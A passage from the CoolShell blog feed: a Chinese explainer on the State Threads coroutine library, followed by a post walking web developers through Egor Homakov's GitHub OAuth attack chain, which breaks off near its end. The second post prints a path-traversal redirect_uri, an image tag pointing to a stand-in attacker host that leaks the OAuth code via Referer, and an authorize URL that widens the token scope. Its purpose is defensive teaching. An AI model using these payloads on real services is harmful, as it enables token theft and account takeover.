<p>首先介绍一下这个库的历史渊源，从代码贡献者来看，ST不是个人作品，而是有着雄厚的商业支持和应用背景，比如服务器领域，在<a href="http://state-threads.sourceforge.net/news.html" target="_blank">这里</a>你可以看到ST曾作为Apache的多核应用模块发布。其诞生最初是由网景（Netscape）公司的MSPR（Netscape Portable Runtime library）项目中剥离出来，后由SGI（Silicon Graphic Inc）还有Yahoo!公司（前者是主力）开发维护的独立线程库。历史版本方面，作为<a title="SourceForge" href="http://sourceforge.net/projects/state-threads/files/" target="_blank">SourceForge</a>上开源项目，由2001年发布v1.0以来一直到2009年v1.9稳定版后未再变动。在平台移植方面，从Makefile的配置选项中可知ST支持多种Unix-like平台，还有专门针对Win32的源码改写。源码例子中，提供了web server、proxy以及dns三种编程实例供参考。可以说代码质量应该是相当的稳定和可靠的。</p>
<p><span id="more-12012"></span></p>
<p>至于许可证方面，有必要略作说明。出于历史原因，网景最初发布时选择了MPL1.1许可证，而后SGI在维护中又混进了GPLv2许可证，照理说这两种许可证是互不兼容的（MPL1.1后续版本是GPL兼容的），也就是说用双许可证打包发布理论上是非法无效的，见GNU官网上<a title="GPL兼容" href="http://www.gnu.org/licenses/license-list.html#MPL" target="_blank">MPL兼容性</a>一节。但这里有值得商榷的地方，因为文中又提及，根据MPL1.1中某条款第13节，如果整段或部分代码允许采用另一许可证作为备用（alternate）选择，比如GPL及其兼容，那么整个库的许可证就可视为GPL兼容的。如此一来所谓GPL兼容性一般解释为你不能在GPLv2的代码中混入MPL1.1，而不是说你不能在MPL1.1代码中混入GPLv2，也就是说GPLv2在MPL1.1之后是可以接受的，事实上SGI就采用了后面的做法，尚未引起版权上的纠纷。为此我还考证了一下FAQ上<a title="license" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">license</a>一节的说法，说ST既可以在MPL和GPL之间选择一种，也可以继续用双许可证，还补了一句在non-free项目使用上也没有限制，但对ST源码所做改动必须对用户可见。在源码文件中的SGI的附加声明还解释了将ST转为GPL代码的做法，就是可以删除前面MPL的声明，否则后续用户仍可以在两者之间二选一。个人觉得既然SGI都这样发话了，那么可解释为反之删除GPL的声明继续采用MPL也是可以接受的，如果你对双许可证承诺仍不放心的话。</p>
<h4>基于事件驱动状态机（EDSM）</h4>
<p>好了，下面该进入技术性话题了。前面说了ST的目标是<strong>高性能可扩展</strong>，其技术特征一言以蔽之就是</p>
<blockquote><p><strong>&#8220;It combines the simplicity of the multi-threaded programming paradigm, in which one thread supports each simultaneous connection, with the performance and scalability of an event-driven state machine (EDSM) architecture.&#8221;</strong></p></blockquote>
<p>我们先来纵向比较ST与传统的EDSM区别，再来横向比较与其它线程库（比如Pthread）的区别（注：以下图片全部来自<a title="ST FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">State Threads Library FAQ</a>）。</p>
<p>传统EDSM最常见的方式就是I/O事件的<strong>异步回调</strong>。基本上都会有一个叫做dispatcher的单线程主循环（又叫event loop），用户通过向dispatcher注册回调函数（又叫event handler）来实现异步通知，从而不必在原地空耗资源干等，在dispatcher主循环中通过select()/poll()系统调用来等待各种I/O事件的发生，当内核检测到事件触发并且数据可达或可用时，select()/poll()会返回从而使dispatcher调用相应的回调函数来对处理用户的请求。所以异步回调与其说是通知，不如说用委托更恰当。</p>
<p>整个过程都是单线程的。<strong>这种处理本质上就是将一堆互不相交（disjoint）的回调实现同步控制，就像串联在一个顺序链表上。</strong>见图1，黑色的双箭头表示I/O事件复用，回调是个筐，里面装着对各种请求的处理（当然不是每个请求都有回调，一个请求也可以对应不同的回调），每个回调被串联起来由dispatcher激活。这里请求等价于thread的概念（不是操作系统的线程），只不过“上下文切换”（context switch）发生在每个回调结束之时（假设不同请求对应不同回调），注册下一个回调以待事件触发时恢复其它请求的处理。至于dispatcher的执行状态（execute state）可作为回调函数的参数保存和传递。</p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/edsm.gif" alt="EDSM" /></p>
<p>异步回调的缺陷在于<strong>难以实现和扩展</strong>，虽然已经有libevent这样的通用库，以及其它actor/reacotor的设计模式及其框架，但正如Dean Gaudet（Apache开发者）所说：“其内在的复杂性——<strong>将线性思维分解成一堆回调的负担</strong>（breaking up linear thought into a bucketload of callbacks）——仍然存在”。从上图可见，<strong>回调之间请求例程不是连续的，比如回调之间的切换会打断部分请求，又比如有新的请求需要重新注册。</strong></p>
<p><strong>ST本质上仍然是基于EDSM模型，但旨在取代传统的异步回调方式。</strong>ST将请求抽象为thread概念以更接近自然编程模式（所谓的linear thought吧，就像操作系统的线程之间切换那样自然）。ST的调度器（scheduler）对于用户来说是透明的，不像dispatcher那种将执行状态（execute state）暴露给回调方式。每个thread的现场环境可以保存在栈上（一段连续的大小确定的内存空间），由C的运行环境管理。从图2看到，<strong>ST的threads可以并发地线性地处理I/O事件，模型比异步回调简单得多。</strong></p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/st_edsm.gif" alt="State Threads" /></p>
<p>这里稍微解释一下ST调度工作原理，ST运行环境维护了四种队列，分别是IOQ、RUNQ、SLEEPQ以及ZOMBIEQ，<strong>当每个thread处于不同队列中对应不同的状态（ST顾名思义所谓thread状态机）。</strong>比如polling请求的时候，当前thread就加入IOQ表示等待事件（如果有timeout同时会被放到SLEEPQ中），当事件触发时，thread就从IOQ（如果有timeout同时会从SLEEPQ）移除并转移到RUNQ等待被调度，成为当前的running thread，相当于操作系统的就绪队列，跟传统EDSM对应起来就是注册回调以及激活回调。再比如模拟同步控制wait/sleep/lock的时候，当前thread会被放入SLEEPQ，直到被唤醒或者超时再次进入RUNQ以待调度。</p>
<p><strong>ST的调度具备性能与内存双重优点</strong>：在性能上，ST实现自己的setjmp/longjmp来模拟调度，无任何系统开销，并且context（就是jmp_buf）针对不同平台和架构用底层语言实现的，可移植性媲美libc。下面放一段代码解释一下调度实现：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">/*
 * Switch away from the current thread context by saving its state 
 * and calling the thread scheduler
 */
#define _ST_SWITCH_CONTEXT(_thread)       \
    ST_BEGIN_MACRO                        \
    if (!MD_SETJMP((_thread)-&gt;context)) { \
      _st_vp_schedule();                  \
    }                                     \
    ST_END_MACRO

/*
 * Restore a thread context that was saved by _ST_SWITCH_CONTEXT 
 * or initialized by _ST_INIT_CONTEXT
 */
#define _ST_RESTORE_CONTEXT(_thread)   \
    ST_BEGIN_MACRO                     \
    _ST_SET_CURRENT_THREAD(_thread);   \
    MD_LONGJMP((_thread)-&gt;context, 1); \
    ST_END_MACRO

void _st_vp_schedule(void)
{
    _st_thread_t *thread;

    if (_ST_RUNQ.next != &amp;_ST_RUNQ) {
        /* Pull thread off of the run queue */
        thread = _ST_THREAD_PTR(_ST_RUNQ.next);
        _ST_DEL_RUNQ(thread);
    } else {
        /* If there are no threads to run, switch to the idle thread */
        thread = _st_this_vp.idle_thread;
    }
    ST_ASSERT(thread-&gt;state == _ST_ST_RUNNABLE);

    /* Resume the thread */
    thread-&gt;state = _ST_ST_RUNNING;
    _ST_RESTORE_CONTEXT(thread);
}
</pre>
<p>如果你熟悉setjmp/longjmp的用法，你就知道当前thread在调用MD_SETJMP将现场上下文保存在jmp_buf中并返回返回0，然后自己调用_st_vp_schedule()将自己调度出去。调度器先从RUNQ上找，如果队列为空就找idle thread，这是在整个ST初始化时创建的一个特殊thread，然后将当前线程设为自己，再调用MD_LONGJMP切换到其上次调用MD_SETJMP的地方，从thread-&gt;context恢复现场并返回1，该thread就接着往下执行了。<strong>整个过程就同EDSM一样发生在操作系统单线程下，所以没有任何系统开销与阻塞。</strong></p>
<p><strong>其实真正的阻塞是发生在等待I/O事件复用上，也就是select()/poll()，这是整个ST唯一的系统调用。</strong>ST当前的状态是，整个环境处于空闲状态，所有threads的请求处理都已经完成，也就是RUNQ为空。这时在_st_idle_thread_start维护了一个主循环（类似于event loop），主要负责三种任务：1.对IOQ所有thread进行I/O复用检测；2.对SLEEPQ进行超时检查；3.将idle thread调度出去，代码如下：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">
void *_st_idle_thread_start(void *arg)
{
    _st_thread_t *me = _ST_CURRENT_THREAD();

    while (_st_active_count &gt; 0) {
        /* Idle vp till I/O is ready or the smallest timeout expired */
        _ST_VP_IDLE();

        /* Check sleep queue for expired threads */
        _st_vp_check_clock();

        me-&gt;state = _ST_ST_RUNNABLE;
        _ST_SWITCH_CONTEXT(me);
    }

    /* No more threads */
    exit(0);

    /* NOTREACHED */
    return NULL;
}</pre>
<p>这里的me就是idle thread，因为_st_idle_thread_start就是创建idle thread的启动点，每从上次_ST_SWITCH_CONTEXT()切换回来的时候，接着在_ST_VP_IDLE()里轮询I/O事件的发生，一旦检测到发生了别的thread事件或者SLEEPQ里面发生超时，再用_ST_SWITCH_CONTEXT()把自己切换出去，如果此时RUNQ中非空的话就切换到队列第一个thread。这里主循环是不会退出的。</p>
<p>在内存方面，<strong>ST的执行状态作为局部变量保存在栈上，而不是像回调需要动态分配，</strong>用户可能分别这样使用thread模式和callback模式：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">/* thread land */
int foo()
{
    int local1;
    int local2;
    do_some_io();
}

/* callback land */
struct foo_data {
    int local1;
    int local2;
};

void foo_cb(void *arg)
{
    struct foo_data *locals = arg;
    ...
}

void foo()
{
    struct foo_data *locals = malloc(sizeof(struct foo_data));
    register(foo_cb, locals);
}
</pre>
<h4>基于Mult-Threading范式</h4>
<p>同样基于multi-threading编程范式，ST同其它线程库又有和有点呢？比如Posix Thread（以下简称PThread）是个通用的线程库，它是<strong>将用户级线程（thread）同内核执行对象（kernel execution entity，有些书又叫lightweight processes）做了1:1或m:n映射，</strong>从而实现multi-threading模式。<strong>而ST是单线程（n:1映射），它的thread实际上就是协程（coroutine）。</strong>通常的网络应用上，多线程范式绕不开操作系统，但在某些特定的服务器领域，线程间的共享资源会带来额外复杂度，锁、竞态、并发、文件句柄、全局变量、管道、信号等，面对这些Pthread的灵活性会大打折扣。<strong>而ST的调度是精确的，它只会在明确的I/O和同步函数调用点上发生上下文切换，这正是协程的特性，如此一来ST就不需要互斥保护了，进而也可以放心使用任何静态变量和不可重入库函数了</strong>（这在同样作为协程的Protothreads里是不允许的，因为那是stack-less的，无法保存上下文），极大的简化了编程和调试同时增加了性能。</p>
<p>对于同样用户级线程如GNU Pth和MIT Phread比起来呢？有两点，一是ST的thread是<strong>无优先级的非抢占式调度</strong>，也就是说ST基于EDSM的，每个thread都是事件或数据驱动，迟早会把自己调度出去，而且调度点是明确的，并非按时间片来的，从而简化了thread管理；二是ST会<strong>忽略所有信号处理</strong>，在_st_io_init中会把sigact.sa_handler设为SIG_IGN，这样做是因为将thread资源最小化，避免了signal mask及其系统调用（在ucontext上是避免不了的）。但这并不意味着ST就不能处理信号，实际上ST建议将信号写入pipe的方式转化为普通I/O事件处理，示例详见<a title="signal handling" href="http://state-threads.sourceforge.net/docs/notes.html#signals" target="_blank">这里</a>。</p>
<p>这里顺便说一句，<strong>C语言实现的协程据我所知只有三种方式</strong>：Protothread为代表利用switch-case语义跳转，以ST为代表不依赖libc的setjmp/longjmp上下文切换，以及依赖glibc的ucontext接口（<a title="云风的coroutine" href="https://github.com/cloudwu/coroutine" target="_blank">云风的coroutine</a>）。第一种最轻，但受限最大，第三种耗资源性能慢（陈皓注：glibc的ucontext接口的实现中有一个和信号有关的系统调用，所以会慢，估计在一些情况下会比pthread还慢），目前看来ST是最好使的。</p>
<h4>基于多核环境</h4>
<p>下面来聊聊ST在多核环境下的应用。服务器领域多核的优势在于实现了物理上真正的并发，所以如何充分利用系统优势也是线程库的一大难点。这对ST来说也许正是它的拿手好戏，前面提及ST曾作为Apache的多核引擎模块发布。这里要补充一下前面漏掉的ST的一个重要概念——<strong>虚拟处理器</strong>（virtual processor，简称vp），见图3，多个cpu通过内核的SMP模拟出多个“核”（core），一个core对应一个内核任务（kernel task），同时对应一个用户进程（process），一个process对应ST的一个vp，每个vp下就是ST的thread（是协程不是线程），结合前面所述，vp初始化先创建idle thread，然后根据I/O事件驱动其它threads，这就是ST的多核架构。</p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/st_app.gif" alt="multi-core" /></p>
<p>这里要指出的是，<strong>ST只负责自身thread调度，进程管理是应用程序的事情，</strong>也就是说由用户来决定fork多少进程，每个进程分配多少资源，如何进行IPC等。这种架构的好处就是每个vp有自己独立的空间，避免了资源同步竞态（比如杜绝了多进程里的多线程这样混乱的模型）。我们知道这种<strong>基于进程的架构是非常健壮的，一个进程奔溃不会影响到其它进程，同时充分利用多核硬件的高并发。</strong>同时对于具体逻辑业务使用vp里的thread处理，这是基于EDSM的，如此一来做到了<strong>逻辑业务与内核执行对象之间的解耦</strong>，没必要因为1K个连接去创建1K的进程。这就是ST的扩展性和灵活性。</p>
<h4>使用限制</h4>
<p>ST的主要限制在于，应用程序所有I/O操作必须使用ST提供的API，因为只有这样thread才能被调度器管理，并且避免阻塞。</p>
<p>另一个限制在于thread调试，这本身不容易，好在v1.9的ST提供了DEBUG参数，使用TREADQ以及_st_iterate_threads接口检测thread调度情况，用户还可自定义_st_show_thread_stack接口dump每个thread的栈，在GDB使能_st_iterate_threads_flag变量，这些都在Readme中对调试方法有具体说明。按下不表。</p>
<h4>总结</h4>
<p>这篇文章写得有点短了，主要是通过对比来介绍ST的，其实还有大段原理可以讲，大段源码以及实战用例可以贴，但这一下子又写不过来，ST还是有点技术含量的。说白了，<strong>ST的核心思想就是利用multi-threading的简单优雅范式胜过传统异步回调的复杂晦涩实现，又利用EDSM的性能和解耦架构避免了multi-threading在系统上的开销和暗礁。</strong>学习ST告诉我们一个道理：<strong>未来技术的趋势永远都是融合的。</strong></p>
<h4>参考</h4>
<ul>
<li>在<a title="sourceforge源码" href="http://sourceforge.net/projects/state-threads/files/" target="_blank">SourceForge</a>以及<a title="github源码" href="https://github.com/winlinvip/state-threads" target="_blank">github</a>上的源码：前者有历史版本及win32版本，后者只有v1.9。</li>
</ul>
<ul>
<li><a title="State Threads for Internet Applications" href="http://state-threads.sourceforge.net/docs/st.html" target="_blank">State Threads for Internet Applications</a>：介绍原理的，值得一看，<a title="中文翻译" href="http://blog.csdn.net/win_lin/article/details/8242653" target="_blank">这里</a>有篇中文翻译附加单元测试（在单CPU 512M内存上创建数万个thread，CPU占用率约5%，内存约4.3K/thread）。</li>
</ul>
<ul>
<li><a title="State Threads Library FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">State Threads Library FAQ</a>：本文基于此而写。</li>
</ul>
<ul>
<li><a title="API手册" href="http://state-threads.sourceforge.net/docs/reference.html" target="_blank">Complete reference</a>：API完全手册。</li>
</ul>
<ul>
<li><a title="注意事项" href="http://state-threads.sourceforge.net/docs/notes.html" target="_blank">Programing Notes</a>：编程注意事项，包括信号处理，IPC，非网络I/O事件等。</li>
</ul>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="http://coolshell.cn/articles/10975.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg" alt="一个“蝇量级” C 语言协程库" width="150" height="150" /></a><a href="http://coolshell.cn/articles/10975.html" class="wp_rp_title">一个“蝇量级” C 语言协程库</a></li><li ><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="http://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="http://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="http://coolshell.cn/articles/8309.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg" alt="C/C++语言中闭包的探究及比较" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8309.html" class="wp_rp_title">C/C++语言中闭包的探究及比较</a></li><li ><a href="http://coolshell.cn/articles/8239.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg" alt="无锁队列的实现" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8239.html" class="wp_rp_title">无锁队列的实现</a></li><li ><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg" alt="一个fork的面试题" width="150" height="150" /></a><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_title">一个fork的面试题</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12012.html">State Threads 回调终结者</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12012.html/feed</wfw:commentRss>
			<slash:comments>50</slash:comments>
		
		
			</item>
		<item>
		<title>从“黑掉Github”学Web安全开发</title>
		<link>https://coolshell.cn/articles/11021.html</link>
					<comments>https://coolshell.cn/articles/11021.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Feb 2014 00:16:11 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Gist]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11021</guid>

					<description><![CDATA[<p>Egor Homakov（Twitter: @homakov 个人网站: EgorHomakov.com）是一个Web安全的布道士，他这两天把github给黑了...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11021.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security.png" width="236" height="251" />Egor Homakov（Twitter: <a href="http://twitter.com/homakov">@homakov</a> 个人网站: <a href="http://egorhomakov.com/">EgorHomakov.com</a>）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《<a href="http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html" target="_blank">How I hacked Github again</a>》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，<strong>我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕</strong>。关于Web开发中的安全事项，大家可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》</p>
<h4>OAuth简介</h4>
<p>首先，这个故事要从<a href="https://developer.github.com/v3/oauth/" target="_blank">Github OAuth</a>讲起。所以，我们需要先知道什么是<a href="http://en.wikipedia.org/wiki/OAuth" target="_blank">OAuth</a>。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。</p>
<p><span id="more-11021"></span></p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11022" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png" width="630" height="375" srcset="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png 700w, https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication-300x178.png 300w" sizes="(max-width: 630px) 100vw, 630px" /></p>
<p style="text-align: left;">从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。</p>
<h4 style="text-align: left;">OAuth的Callback</h4>
<p>还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。</p>
<p>你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。</p>
<p>知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。</p>
<h4>第一个Bug — 没有检查重定向URL中的/../</h4>
<p>首先，我们通过<a href="https://developer.github.com/v3/oauth/#redirect-urls" target="_blank">Github的 redirect_uri 的说明文档</a>我们可以看到这样的说明：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org</pre>
<p>而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。</p>
<p>但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。</p>
<p>于是，Egor相当于构造了一个下面这样的Redirect URL：</p>
<pre style="font-size: 10pt;">https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE</pre>
<p>于是上面的URL就相当于：</p>
<pre style="font-size: 10pt;">https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。</p>
<h4>第二个BUG — 没有校验token</h4>
<p>第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。</p>
<p>这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。</p>
<p>也就是说，token的生成要考虑redirect_uri，这样，当URL跳转的时候，会把redirect_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。</p>
<h4>第三个BUG — 注入跨站图片</h4>
<p>现在，redirect_uri带着code，安全顺利地跳到了Egor构造的网页上：</p>
<pre>https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。</p>
<p>到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：</p>
<p>&lt;a href=http://hack.you.com/&gt;私人照片&lt;/a&gt;</p>
<p>这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。</p>
<p>但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。</p>
<p>不过，我们可以用一个很诡异的技巧：</p>
<p style="text-align: center;"><b>&lt;img src=&#8221;///attackersite.com&#8221;&gt;</b></p>
<p>这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。</p>
<h5>像程序员一样的思考</h5>
<p>这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，</p>
<ul>
<li>对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:&lt;n&gt;端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。</li>
</ul>
<ul>
<li>对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。</li>
</ul>
<p>好了，如果coolshell.cn网页中的&lt;img src=&gt;或&lt;a href=&gt;中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。</p>
<p>但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：</p>
<p style="text-align: center;"><a href="///www.google.com" target="_blank">CoolShell Test</a></p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;a href=&quot;///www.google.com&quot;&gt;CoolShell Test&lt;/a&gt;</code></p>
<p>关键是，这个Chrome/Firefox的问题被标记成了Won&#8217;t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。</p>
<p>于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。</p>
<p>到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。</p>
<h4>第四个bug &#8211; Gist把github_token放在了cookie里</h4>
<p>于是Egor在用户的cookie里找到了 github_token</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11030" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png" width="395" height="47" srcset="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png 395w, https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie-300x35.png 300w" sizes="(max-width: 395px) 100vw, 395px" /></p>
<p>但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》）。</p>
<p>于是，Egor只能另谋出路。</p>
<h4>第五个Bug &#8211; 自动给gist授权</h4>
<p>因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri中的scope ）</p>
<p style="word-wrap: break-word; padding: 10px 20px 20px 30px; background-color: #eee;">https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&amp;response_type=code&amp;<b>scope=repo,gists,user,delete_repo,notifications</b></p>
<p>于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。</p>
<h4> 其它 &amp; 感想</h4>
